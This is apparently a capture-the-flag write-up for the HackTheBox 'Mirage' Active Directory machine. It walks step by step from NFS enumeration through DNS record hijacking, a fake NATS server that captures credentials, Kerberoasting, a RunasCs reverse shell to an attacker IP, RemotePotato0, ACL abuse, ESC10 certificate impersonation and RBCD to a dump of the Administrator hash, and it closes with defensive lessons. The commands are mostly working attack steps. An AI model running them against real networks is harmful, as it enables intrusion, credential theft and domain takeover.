Mirage
Summary
Mirage is a HackTheBox Active Directory machine that demonstrates a sophisticated multi-stage attack chain involving NFS share enumeration, DNS dynamic update vulnerabilities, NATS service exploitation, Kerberoasting, RemotePotato0 attacks, ACL abuse, GMSA password extraction, ADCS certificate-based attacks (ESC10), and Resource-Based Constrained Delegation (RBCD) exploitation. The initial compromise was achieved through mounting an NFS share that revealed incident reports mentioning a NATS service. By exploiting DNS dynamic updates, we added a malicious DNS record pointing to our attacker machine, allowing us to intercept NATS authentication credentials. These credentials were used to enumerate NATS streams and extract domain user credentials. Through Kerberoasting, we obtained access to nathan.aadam, which enabled WinRM access. Using RemotePotato0, we captured mark.bbond’s credentials, who had permissions to change passwords for javier.mmarshall. After modifying account restrictions, we used javier.mmarshall to read the GMSA password for mirage-service$. Finally, we exploited ADCS ESC10 vulnerability and RBCD to achieve Domain Admin privileges.
Initial Enumeration
We begin with a comprehensive Nmap scan to identify open ports and services:
1
nmap -sVC -Pn -oN nmap 10.10.11.78
Results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-08-12 03:17:54Z)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
2049/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
4222/tcp open vrml-multi-use? syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Analysis: This is an Active Directory Domain Controller with:
- Port 53 (DNS): Domain name service
- Port 88 (Kerberos): Authentication service
- Port 389/636 (LDAP): Directory services
- Port 445 (SMB): File sharing
- Port 2049 (NFS): Network File System - unusual for Windows!
- Port 4222: Unknown service (later identified as NATS)
- Port 5985 (WinRM): Windows Remote Management
Domain Discovery
We use nxc (NetExec) to enumerate LDAP and discover the domain:
1
nxc ldap 10.10.11.78
Domain:
mirage.htb
NFS Share Enumeration
Discovering NFS Shares
The presence of port 2049 (NFS) on a Windows domain controller is unusual. We enumerate available NFS shares:
1
showmount -e 10.10.11.78
Discovery: An NFS share named
MirageReportsis available for mounting.
Mounting the NFS Share
We mount the NFS share to explore its contents:
1
2
3
sudo mount -t nfs 10.10.11.78:/MirageReports mnt
cd mnt
ls -la
Reading Incident Reports
The share contains incident reports and authentication hardening documentation:
Critical Discovery: The incident report mentions:
- “Unable to resolve
nats-svc.mirage.htb”- This suggests a NATS (messaging system) service that cannot be resolved via DNS
DNS Dynamic Update Vulnerability
Understanding the Vulnerability
The incident report indicates DNS resolution issues with nats-svc.mirage.htb. We check the DNS server configuration:
Critical Discovery: The DNS server configuration shows “Dynamic updates nonsecure and secure” are enabled. This means we can potentially add DNS records if we have appropriate permissions.
DNS Update Attempt
We attempt to add a DNS record for nats-svc.mirage.htb pointing to our attacker machine:
1
2
3
4
5
nsupdate
server 10.10.11.78
update add nats-svc.mirage.htb 86400 A 10.10.14.4
send
quit
Success: The DNS record was successfully added!
Verifying DNS Record
We verify the DNS record was created:
1
dig @mirage.htb nats-svc.mirage.htb
The DNS record now points to our attacker machine (
10.10.14.4).
NATS Service Exploitation
Understanding NATS
NATS is a messaging system. The incident report shows a user dev_account_A running:
1
.\nats -s nats://nats-svc:4222 rtt --user $user --password $password
Strategy: If a service tries to connect to
nats-svc.mirage.htb, it will now resolve to our machine. We can set up a fake NATS server to intercept authentication credentials.
Setting Up Fake NATS Server
We create a fake NATS server that responds with a valid NATS INFO message:
1
while true; do echo -ne 'INFO {"server_id":"FAKE123","server_name":"nats-svc.mirage.htb","version":"2.11.3","proto":1,"auth_required":false,"max_payload":1048576}\r\n' | nc -lvnp 4222; done
Success: We receive a connection with authentication credentials!
Extracted Credentials
The connection reveals credentials for dev_account_A:
- Username:
dev_account_A - Password: (extracted from the connection)
We now have valid domain credentials for
dev_account_A.
NATS Stream Enumeration
Connecting to Real NATS Service
Using the extracted credentials, we connect to the actual NATS service on port 4222:
1
nats -s nats://10.10.11.78:4222 --user dev_account_A --password [PASSWORD]
Enumerating Consumers
We list available consumers:
1
nats consumer ls
Enumerating Streams
We list and view streams to find sensitive information:
1
2
nats stream ls
nats stream view [STREAM_NAME]
Critical Discovery: A stream contains credentials for
david.jjackson!
Testing Credentials
We test the discovered credentials:
1
nxc smb 10.10.11.78 -u david.jjackson -p [PASSWORD]
Success: We have a valid domain user account!
Kerberoasting Attack
Identifying Kerberoastable Accounts
We perform Kerberoasting to extract service account hashes:
1
nxc ldap 10.10.11.78 -u david.jjackson -p [PASSWORD] --kerberoasting kerberoasting
Discovery: We successfully extracted Kerberos service tickets that can be cracked offline.
Cracking the Hash
We crack the extracted hash using hashcat:
1
hashcat -m 13100 kerberoasting.hash /usr/share/wordlists/rockyou.txt
Result: We obtain the password for account
nathan.aadam.
WinRM Access
Generating Kerberos Configuration
We generate a Kerberos configuration file for authentication:
1
2
nxc smb 10.10.11.78 -u nathan.aadam -p [PASSWORD] --generate-krb5-file krb5
cat krb5 | sudo tee -a /etc/krb5.conf
Accessing WinRM
We access the system via WinRM using Kerberos authentication:
1
evil-winrm -i 10.10.11.78 -r mirage.htb
Success: We have shell access as
nathan.aadam!
Technical Note: Evil-WinRM connects over WinRM, which authenticates you with a Network logon (logon type 3 / LOGON32_LOGON_NETWORK). Network logons don’t create an interactive or Remote Desktop (TS) session on the host. Commands like query user and qwinsta rely on the Terminal Services APIs (WTSEnumerateSessions/WTSQuerySessionInformation) and only work when the calling process is associated with a real TS session and has the appropriate rights. From a pure WinRM/Evil-WinRM session, your token has no TS session context, so those APIs fail and query user doesn’t return the expected session list.
Interactive Shell
For better enumeration, we use RunasCs.exe to get a reverse shell. This creates a different logon type (interactive or batch) with different privileges that allow us to query user sessions:
1
.\RunasCs.exe nathan.aadam [PASSWORD] cmd.exe -r 10.10.14.4:9999
Output:
1
2
3
4
5
[*] Warning: The logon for user 'nathan.aadam' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-ace07$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5272 created in background.
Reverse Shell:
1
rlwrap nc -lvnp 9999
1
2
3
4
5
Connection from 10.10.11.78:56634
Microsoft Windows [Version 10.0.20348.3807]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
We now have an interactive command prompt on the target system.
RemotePotato0 Attack
Discovering Active Sessions
We check for active user sessions. Note that this command works in our reverse shell (created via RunasCs.exe) because it uses an interactive logon type, but would not work in a WinRM network session:
1
query user
Output:
1
2
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
mark.bbond console 1 Active none 8/12/2025 3:52 PM
Discovery:
mark.bbondhas an active console session. We can use RemotePotato0 to capture their credentials.
Why This Works: The reverse shell created by
RunasCs.exeuses an interactive or batch logon type (LOGON32_LOGON_INTERACTIVEorLOGON32_LOGON_BATCH), which has the necessary privileges to query Terminal Services session information. This is whyquery usersucceeds here but would fail in a WinRM network session.
BloodHound Analysis
We can also see this relationship in BloodHound:
RemotePotato0 Exploitation
RemotePotato0 is an attack that exploits the DCOM activation service to capture NTLM authentication. We set up the attack:
On Attacker Machine:
1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr,bind=0.0.0.0 TCP:10.129.92.155:9999
On Target Machine (as nathan.aadam):
1
.\RemotePotato0.exe -r 10.10.14.4 -p 9999 -x 10.10.14.4 -e 9998
Success: We captured
mark.bbond’s NTLM hash!
ACL Abuse - Password Change
BloodHound Analysis
Using BloodHound, we discover that mark.bbond is a member of it_support, which has permissions to change the password of javier.mmarshall:
Changing javier.mmarshall’s Password
We use bloodyAD to change the password:
1
bloodyAD --host 10.10.11.78 -d mirage.htb -u mark.bbond -p [HASH] -k set password javier.mmarshall 'P@$$word123!'
Success: Password changed successfully!
Account Restrictions
When attempting to authenticate, we encounter an error:
1
kdc_err_client_revoked
We check the account properties:
1
Get-ADUser javier.mmarshall -properties *
Output:
1
logonHours {0,0,0,0...}
Discovery: The account has
logonHoursrestrictions (all zeros means no login hours allowed) and may be disabled.
Getting Shell as mark.bbond
We get a shell as mark.bbond to modify account properties:
Checking Security Descriptors
We examine the security descriptors for javier.mmarshall:
1
bloodyAD -d mirage.htb --dc-ip 10.10.11.78 -k --host 10.10.11.78 -u mark.bbond -p [HASH] get object javier.mmarshall --resolve-sd
Discovery: We have write permissions on UAC (User Account Control) and
logonHoursproperties!
Removing Account Restrictions
We remove the account disable flag:
1
bloodyAD -d mirage.htb --host 10.10.11.78 -u mark.bbond -p [HASH] -k remove uac -f ACCOUNTDISABLE javier.mmarshall
We clear the logon hours restriction:
1
set-aduser javier.mmarshall -clear logonhours
Verifying Account Status
We verify the account is now enabled:
1
2
3
Enable-ADAccount javier.mmarshall
set-aduser javier.mmarshall -clear logonhours
get-aduser javier.mmarshall -properties logonhours
Success: The account is now enabled and can be used for authentication!
GMSA Password Extraction
Reading GMSA Password
Using javier.mmarshall credentials, we can read the GMSA (Group Managed Service Account) password for mirage-service$:
Critical Discovery: We successfully extracted the GMSA password for
mirage-service$!
ADCS Certificate Enumeration
Discovering Certificates
We use Certipy to enumerate certificates for the service account:
1
KRB5CCNAME=mirage-svc.ccache certipy find -u 'mirage-service$@mirage.htb' -dc-ip 10.10.11.78 -dc-host dc01.mirage.htb -k -no-pass -enabled -hide-admins
Discovery: We find certificates that can be exploited.
ESC10 Vulnerability Exploitation
Understanding ESC10
ESC10 is a vulnerability in ADCS where weak certificate mapping for Schannel authentication allows impersonation. We check the certificate mapping methods:
1
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL' -Name CertificateMappingMethods
Discovery: The system uses weak certificate mapping, making it vulnerable to ESC10.
BloodHound Analysis - mark.bbond Permissions
We discover that javier.mmarshall has write permissions on mark.bbond’s public-information property:
Modifying UPN
We can modify mark.bbond’s User Principal Name (UPN) to impersonate the domain controller:
1
2
3
certipy account -k \
-dc-ip 10.10.11.78 -target dc01.mirage.htb -upn 'dc01$@mirage.htb' \
-user 'mark.bbond' update
Output:
1
2
3
4
5
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'
Success: We changed
mark.bbond’s UPN todc01$@mirage.htb!
Requesting Certificate
We request a certificate for mark.bbond (which now has UPN dc01$@mirage.htb):
1
KRB5CCNAME=mark.ccache certipy req -dc-ip 10.10.11.78 -target dc01.mirage.htb -ca 'mirage-DC01-CA' -template User -username mark.bbond@mirage.htb -p 'P@$$word123!' -k
Output:
1
2
3
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Saving certificate and private key to 'dc01.pfx'
Critical Success: We obtained a certificate for the domain controller machine account!
Restoring Original UPN
We restore mark.bbond’s original UPN:
1
2
3
4
certipy account \
-k -target dc01.mirage.htb -dc-host dc01.mirage.htb\
-dc-ip 10.10.11.78 -upn 'mark.bbond@mirage.htb' \
-user 'mark.bbond' update
Certificate-Based Authentication
Authenticating with Certificate
We authenticate to LDAP using the certificate:
1
certipy auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
Output:
1
2
3
4
5
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.10.11.78:636'
[*] Authenticated to '10.10.11.78' as: 'u:MIRAGE\\DC01$'
Success: We are authenticated as the domain controller machine account!
Resource-Based Constrained Delegation (RBCD)
Setting RBCD
We configure Resource-Based Constrained Delegation, allowing mirage-service$ to impersonate users on dc01$:
1
2
# In certipy LDAP shell
set_rbcd dc01$ mirage-service$
Output:
1
2
3
4
5
6
7
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
mirage-service$ can now impersonate users on dc01$ via S4U2Proxy
Success: RBCD is configured!
mirage-service$can now impersonate any user ondc01$.
Requesting Service Ticket
We use getST.py to request a service ticket for DC01$ impersonating DC01$:
1
getST.py -spn 'cifs/dc01.mirage.htb' -impersonate DC01$ -dc-ip 10.10.11.78 mirage.htb/Mirage-Service$ -no-pass
Output:
1
2
3
4
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache
Success: We obtained a service ticket for the domain controller!
Domain Admin Compromise
Dumping Administrator Hash
We use the service ticket to dump the Administrator hash:
1
KRB5CCNAME=DC01\$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache secretsdump.py -just-dc-user administrator -k -no-pass 'mirage.htb/dc01$'@dc01.mirage.htb
Output:
1
2
3
4
5
6
7
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
Domain Compromise: We successfully extracted the Administrator NTLM hash!
Getting Administrator TGT
We generate a Kerberos ticket for the Administrator:
1
getTGT.py -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' mirage.htb/Administrator
Output:
1
[*] Saving ticket in Administrator.ccache
Complete Domain Compromise: We now have full domain administrator access!
Conclusion
Quick Recap
- NFS Share Enumeration: Discovered incident reports mentioning NATS service
- DNS Dynamic Update: Exploited DNS to add malicious record pointing to attacker machine
- NATS Exploitation: Intercepted authentication credentials by hosting fake NATS server
- Stream Enumeration: Extracted domain user credentials from NATS streams
- Kerberoasting: Obtained service account password
- RemotePotato0: Captured
mark.bbondcredentials via RemotePotato - ACL Abuse: Changed
javier.mmarshallpassword and removed account restrictions - GMSA Extraction: Read GMSA password for
mirage-service$ - ESC10 Exploitation: Modified UPN to impersonate domain controller and obtained certificate
- RBCD Attack: Configured delegation to impersonate users on domain controller
- Domain Admin: Dumped Administrator hash and achieved complete domain compromise
Lessons Learned
- NFS Security: NFS shares on Windows systems should be properly secured and monitored
- DNS Dynamic Updates: DNS dynamic updates should be restricted to authorized sources only
- NATS Security: Service authentication should use strong credentials and proper network segmentation
- Kerberos Security: Service accounts should use strong passwords to resist Kerberoasting
- Session Security: Active user sessions can be exploited via attacks like RemotePotato0
- ACL Management: Access Control Lists must be properly configured to prevent unauthorized password changes
- GMSA Security: Group Managed Service Accounts should have restricted read permissions
- ADCS Security: Certificate mapping methods should be properly configured to prevent ESC10
- RBCD Security: Resource-Based Constrained Delegation must be carefully managed


























